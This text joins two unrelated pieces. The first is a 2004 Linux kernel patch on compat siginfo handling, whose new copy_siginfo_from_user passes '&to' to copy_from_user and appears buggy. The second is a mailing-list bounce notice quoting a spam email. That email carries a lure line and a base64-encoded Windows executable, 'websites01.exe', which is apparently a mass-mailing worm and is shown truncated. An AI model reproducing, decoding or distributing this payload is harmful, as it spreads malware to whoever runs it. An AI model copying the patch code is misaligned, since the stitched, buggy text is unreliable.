> kernel/compat_signal.c
> 
> (compat_copy_siginfo_to_user)
> 
> Always copy the first three words, the kernel uses
> these and we might need them later. Only copy the
> _sifields._pad when the structure is from userspace.
> 
> (compat_copy_siginfo_from_user)
> 
> A brand new function that is going to be used by
> ptrace_getsiginfo and sys_rt_sigqueueinfo, since both
> functions read siginfo_t from userspace. This function
> copies up a siginfo_t to the proper kernel size.
> 
> kernel/signal.c
> 
> (copy_siginfo_from_user)
> 
> If the task is compat use the compat version e.g.
> compat_copy_siginfo_from_user, else fall back to
> using copy_from_user.
> 
> (copy_siginfo_to_user)
> 
> Move the compat check to the start of the function, that way
> we don't duplicate the access check.
> 
> (sys_rt_sigqueueinfo)
> 
> Call copy_siginfo_from_user to load a siginfo_t from
> userspace.
> 
> kernel/ptrace.c
> 
> (ptrace_getsiginfo)
> 
> Call copy_siginfo_from_user to load a siginfo_t from
> userspace.

The log message says it all. We have working posix-timers with 64-bit
kernels, by virtue of a working rt_sigqueueinfo. I wonder if this fixes
more things on 64-bit boxes.

Index: include/linux/compat_siginfo.h
===================================================================
RCS file: /var/cvs/linux-2.6/include/linux/compat_siginfo.h,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- a/include/linux/compat_siginfo.h	3 Feb 2004 21:51:13 -0000	1.3
+++ b/include/linux/compat_siginfo.h	30 Apr 2004 20:07:02 -0000	1.4
@@ -33,12 +33,13 @@ typedef union compat_sigval {
  * struct siginfo that is before the union.
  */
 #ifndef __ARCH_SI_COMPAT_PREAMBLE_SIZE
-#define __ARCH_SI_COMPAT_PREAMBLE_SIZE	(3 * sizeof(int))
+#define __ARCH_SI_COMPAT_PREAMBLE_SIZE	(3 * sizeof(compat_int_t))
 #endif
 
 #define SI_COMPAT_MAX_SIZE	128
 #ifndef SI_COMPAT_PAD_SIZE
-#define SI_COMPAT_PAD_SIZE	((SI_COMPAT_MAX_SIZE - __ARCH_SI_COMPAT_PREAMBLE_SIZE) / sizeof(int))
+#define SI_COMPAT_PAD_SIZE \
+  ((SI_COMPAT_MAX_SIZE - __ARCH_SI_COMPAT_PREAMBLE_SIZE) / sizeof(compat_int_t))
 #endif
 
 /* 32-bit view of si.uid_t */
@@ -72,7 +73,7 @@ typedef struct compat_siginfo {
 		struct {
 			compat_timer_t _tid;	/* timer id */
 			compat_int_t _overrun;		/* overrun count */
-			char _pad[sizeof( __ARCH_SI_UID_T) - sizeof(int)];
+			char _pad[sizeof(__ARCH_SI_COMPAT_UID_T) - sizeof(compat_int_t)];
 			compat_sigval_t _sigval;	/* same as below */
 			compat_int_t _sys_private;       /* not to be passed to user */
 		} _timer;
@@ -164,6 +165,7 @@ static inline void compat_copy_siginfo(s
 #endif /* !HAVE_ARCH_COMPAT_COPY_SIGINFO */
 
 extern int compat_copy_siginfo_to_user(compat_siginfo_t __user *to, struct siginfo *from);
+extern int compat_copy_siginfo_from_user(struct siginfo *to, compat_siginfo_t __user *from);
 
 #endif /* CONFIG_COMPAT */
 #endif /* _ASM_GENERIC_COMPAT_SIGINFO_H */
Index: kernel/compat_signal.c
===================================================================
RCS file: /var/cvs/linux-2.6/kernel/compat_signal.c,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- a/kernel/compat_signal.c	26 Apr 2004 04:46:48 -0000	1.3
+++ b/kernel/compat_signal.c	30 Apr 2004 20:07:02 -0000	1.4
@@ -48,17 +48,25 @@ int compat_copy_siginfo_to_user(compat_s
 
 	/* Convert structure, don't leak anything in the copy */
 	memset(&compat_from,'\0',sizeof(compat_siginfo_t));
+
+        /* Always copy si_signo, si_errno, and si_code */
 	compat_from.si_signo = (compat_int_t)(from->si_signo);
 	compat_from.si_errno = (compat_int_t)(from->si_errno);
 	compat_from.si_code = (compat_int_t)(from->si_code);
-	
-	if (from->si_code < 0)
-		return __copy_to_user(to, &compat_from, sizeof(compat_siginfo_t))
-			? -EFAULT : 0;
-	
+        
 	err = __put_user(compat_from.si_signo, &to->si_signo);
 	err |= __put_user(compat_from.si_errno, &to->si_errno);
 	err |= __put_user(compat_from.si_code, &to->si_code);
+
+        /* siginfo_t came from userspace, so it is the right
+         * size, no need for conversion
+         */        
+	if (from->si_code < 0) {
+		return __copy_to_user(&to->_sifields._pad, 
+                                      &from->_sifields._pad, 
+                                      SI_COMPAT_PAD_SIZE)
+			? -EFAULT : 0;
+        }
 	
 	switch (from->si_code & __SI_MASK) {
 	case __SI_KILL:
@@ -117,6 +125,79 @@ int compat_copy_siginfo_to_user(compat_s
 		compat_from.si_uid = (__ARCH_SI_COMPAT_UID_T)(from->si_uid);
 		err |= __put_user(compat_from.si_pid, &to->si_pid);
 		err |= __put_user(compat_from.si_uid, &to->si_uid);
+		break;
+	}
+	return err;
+}
+
+int compat_copy_siginfo_from_user(siginfo_t *to, compat_siginfo_t __user *from)
+{
+	int err;
+        u64 scratch;
+
+	if (!access_ok (VERIFY_READ, from, sizeof(compat_siginfo_t)))
+		return -EFAULT;
+	
+	/*
+	 * If you change compat_siginfo_t structure *or* siginfo_t, 
+	 * please be sure this code is fixed accordingly.
+	 */
+
+        /* Always copy si_signo, si_errno, and si_code */
+	err = __get_user(to->si_signo, &from->si_signo);
+	err |= __get_user(to->si_errno, &from->si_errno);
+	err |= __get_user(to->si_code, &from->si_code);
+        
+        /* siginfo_t came from userspace, so it is the right
+         * size, no need for conversion
+         */        
+	if (to->si_code < 0) {
+		return __copy_from_user(&to->_sifields._pad, 
+                                        &from->_sifields._pad, 
+                                        SI_COMPAT_PAD_SIZE)
+			? -EFAULT : 0;
+        }
+	
+	switch (to->si_code & __SI_MASK) {
+	case __SI_KILL:
+		err |= __get_user(to->si_pid, &from->si_pid);
+		err |= __get_user(to->si_uid, &from->si_uid);
+		break;
+	case __SI_TIMER:
+		err |= __get_user(to->si_tid, &from->si_tid);
+		err |= __get_user(to->si_overrun, &from->si_overrun);
+		err |= __get_user(scratch, &from->si_ptr);
+                to->si_ptr = (u64*)scratch;                
+		break;
+	case __SI_POLL:
+		err |= __get_user(to->si_band, &from->si_band);
+		err |= __get_user(to->si_fd, &from->si_fd);
+		break;
+	case __SI_FAULT:
+		err |= __get_user(scratch, &from->si_addr);
+                to->si_addr = (u64*)scratch;
+#ifdef __ARCH_SI_COMPAT_TRAPNO
+		err |= __get_user(to->si_trapno, &from->si_trapno);
+#endif
+		break;
+	case __SI_CHLD:
+		err |= __get_user(to->si_pid, &from->si_pid);
+		err |= __get_user(to->si_uid, &from->si_uid);
+		err |= __get_user(to->si_status, &from->si_status);
+		err |= __get_user(to->si_utime, &from->si_utime);
+		err |= __get_user(to->si_stime, &from->si_stime);
+		break;
+	case __SI_RT: /* This is not generated by the kernel as of now. */
+	case __SI_MESGQ: /* But this is */
+		err |= __get_user(to->si_pid, &from->si_pid);
+		err |= __get_user(to->si_uid, &from->si_uid);
+		err |= __get_user(to->si_int, &from->si_int);
+		err |= __get_user(scratch, &from->si_ptr);
+                to->si_ptr = (u64*)scratch;
+		break;
+	default: /* this is just in case for now ... */
+		err |= __get_user(to->si_pid, &from->si_pid);
+		err |= __get_user(to->si_uid, &from->si_uid);
 		break;
 	}
 	return err;
Index: kernel/ptrace.c
===================================================================
RCS file: /var/cvs/linux-2.6/kernel/ptrace.c,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- a/kernel/ptrace.c	30 Mar 2004 12:42:47 -0000	1.4
+++ b/kernel/ptrace.c	30 Apr 2004 20:07:02 -0000	1.5
@@ -290,7 +290,7 @@ static int ptrace_setsiginfo(struct task
 {
 	if (child->last_siginfo == NULL)
 		return -EINVAL;
-	if (copy_from_user(child->last_siginfo, data, sizeof (siginfo_t)) != 0)
+	if (copy_siginfo_from_user(child->last_siginfo, data) != 0)
 		return -EFAULT;
 	return 0;
 }
Index: kernel/signal.c
===================================================================
RCS file: /var/cvs/linux-2.6/kernel/signal.c,v
retrieving revision 1.18
retrieving revision 1.19
diff -u -p -r1.18 -r1.19
--- a/kernel/signal.c	28 Apr 2004 19:13:08 -0000	1.18
+++ b/kernel/signal.c	30 Apr 2004 20:07:02 -0000	1.19
@@ -2018,11 +2018,28 @@ sys_rt_sigpending(sigset_t __user *set, 
 	return do_sigpending(set, sigsetsize);
 }
 
+#ifndef HAVE_ARCH_COPY_SIGINFO_FROM_USER
+
+int copy_siginfo_from_user(siginfo_t *to, siginfo_t __user *from)
+{
+        if(is_compat_task(current))
+                return compat_copy_siginfo_from_user(to,(compat_siginfo_t __user *)from);
+  
+        return copy_from_user(&to, from, sizeof(siginfo_t));
+}
+
+#endif
+
 #ifndef HAVE_ARCH_COPY_SIGINFO_TO_USER
 
 int copy_siginfo_to_user(siginfo_t __user *to, siginfo_t *from)
 {
 	int err;
+	
+	/* Use compat_siginfo_t with 32-bit signals */
+	if(is_compat_task(current)){
+		return compat_copy_siginfo_to_user((compat_siginfo_t __user *)to,from);
+	}
 
 	if (!access_ok (VERIFY_WRITE, to, sizeof(siginfo_t)))
 		return -EFAULT;
@@ -2030,11 +2047,6 @@ int copy_siginfo_to_user(siginfo_t __use
 		return __copy_to_user(to, from, sizeof(siginfo_t))
 			? -EFAULT : 0;
 	
-	/* Use compat_siginfo_t with 32-bit signals */
-	if(is_compat_task(current)){
-		return compat_copy_siginfo_to_user((compat_siginfo_t __user *)to,from);
-	}
-	
 	/*
 	 * If you change siginfo_t structure, please be sure
 	 * this code is fixed accordingly.
@@ -2271,7 +2283,7 @@ sys_rt_sigqueueinfo(int pid, int sig, si
 {
 	siginfo_t info;
 
-	if (copy_from_user(&info, uinfo, sizeof(siginfo_t)))
+	if (copy_siginfo_from_user(&info, uinfo))
 		return -EFAULT;
 
 	/* Not even root can pretend to send signals from the kernel.


From - Thu Nov 08 21:31:59 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: MAILER-DAEMON@ihug.com.au
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] failure notice
Date: 1 May 2004 07:45:13 -0000
Lines: 597
Approved: news@gmane.org
Message-ID: <E1BJpBR-0004k0-00@gen21.ihug.com.au>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416623425 9178 80.91.229.3 (22 Nov 2014 02:30:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:30:25 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: MAILER-DAEMON  Sat May  1 01:45:16 2004
Return-Path: <>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from gen21.ihug.com.au (gen21.ihug.com.au [203.109.250.41])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0A686483B
	for <parisc-linux@lists.parisc-linux.org>;
	Sat,  1 May 2004 01:45:15 -0600 (MDT)
Original-Received: from mail23.ihug.com.au [203.109.249.153] 
	by gen21.ihug.com.au with smtp (Exim 3.35 #1 (Debian))
	id 1BJpBR-0004k0-00; Sat, 01 May 2004 17:45:13 +1000
Original-Received: (qmail 10176 invoked for bounce); 1 May 2004 07:45:13 -0000
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Sat, 01 May 2004 07:45:16 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21578

Hi. This is the qmail-send program at ihug.com.au.
I'm afraid I wasn't able to deliver your message to the following addresses.
This is a permanent error; I've given up. Sorry it didn't work out.

<justin@ihug.com.au>:
Sorry, no mailbox here by that name. (#5.1.1)

--- Below this line is a copy of the message.

Return-Path: <parisc-linux@lists.parisc-linux.org>
Received: (qmail 10169 invoked from network); 1 May 2004 07:45:12 -0000
Received: from grunt21.ihug.com.au (203.109.249.141)
  by mail23.ihug.com.au with SMTP; 1 May 2004 07:45:12 -0000
Received: from chazaria1.rdsnet.ro (tig.com.au) [213.157.162.226] 
	by grunt21.ihug.com.au with esmtp (Exim 3.35 #1 (Debian))
	id 1BJpBN-00054B-00; Sat, 01 May 2004 17:45:10 +1000
From: parisc-linux@lists.parisc-linux.org
To: justin@ihug.com.au
Subject: Notice again
Date: Sat, 1 May 2004 10:45:10 +0300
MIME-Version: 1.0
Content-Type: multipart/mixed;
	boundary="----=_NextPart_000_0016----=_NextPart_000_0016"
X-Priority: 3
X-MSMail-Priority: Normal
Message-Id: <E1BJpBN-00054B-00@grunt21.ihug.com.au>

This is a multi-part message in MIME format.

------=_NextPart_000_0016----=_NextPart_000_0016
Content-Type: text/plain;
	charset="Windows-1252"
Content-Transfer-Encoding: 7bit

Do not visit this illegal websites!


------=_NextPart_000_0016----=_NextPart_000_0016
Content-Type: application/octet-stream;
	name="websites01.exe"
Content-Transfer-Encoding: base64
Content-Disposition: attachment;
	filename="websites01.exe"

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
